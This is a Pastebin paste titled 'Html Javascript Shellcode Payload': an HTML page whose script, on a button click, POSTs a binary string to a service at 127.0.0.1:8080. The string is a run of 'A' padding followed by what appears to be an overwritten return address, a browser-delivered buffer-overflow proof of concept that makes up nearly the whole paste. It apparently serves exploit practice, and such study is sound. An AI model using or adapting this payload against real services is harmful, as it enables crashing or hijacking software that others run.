Want more features on Pastebin? Sign Up, it's FREE!
Guest

Html Javascript Shellcode Payload

By: a guest on Nov 9th, 2012  |  syntax: HTML  |  size: 0.59 KB  |  views: 1,049  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <html>
  2. <head>
  3. <meta http-equiv="Content-Type" content="text/html;charset=utf-8" >
  4.         <script>       
  5.                 function sendBin()
  6.                 {
  7.                         var req = new XMLHttpRequest();
  8.                         var url = "http://127.0.0.1:8080";
  9.  
  10.                         req.open("POST", url, true);  
  11.  
  12.                         req.sendAsBinary("\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x12\x0c\x40\x00\x00");
  13.                 }
  14.         </script>
  15. </head>
  16. <body>
  17. <h3>Send Binary Data</h3>
  18. <form name="myfrm" >
  19. <input type="submit" value="Submit" onclick="sendBin();"s>
  20. </form>
  21. </body>
  22. </html>
clone this paste RAW Paste Data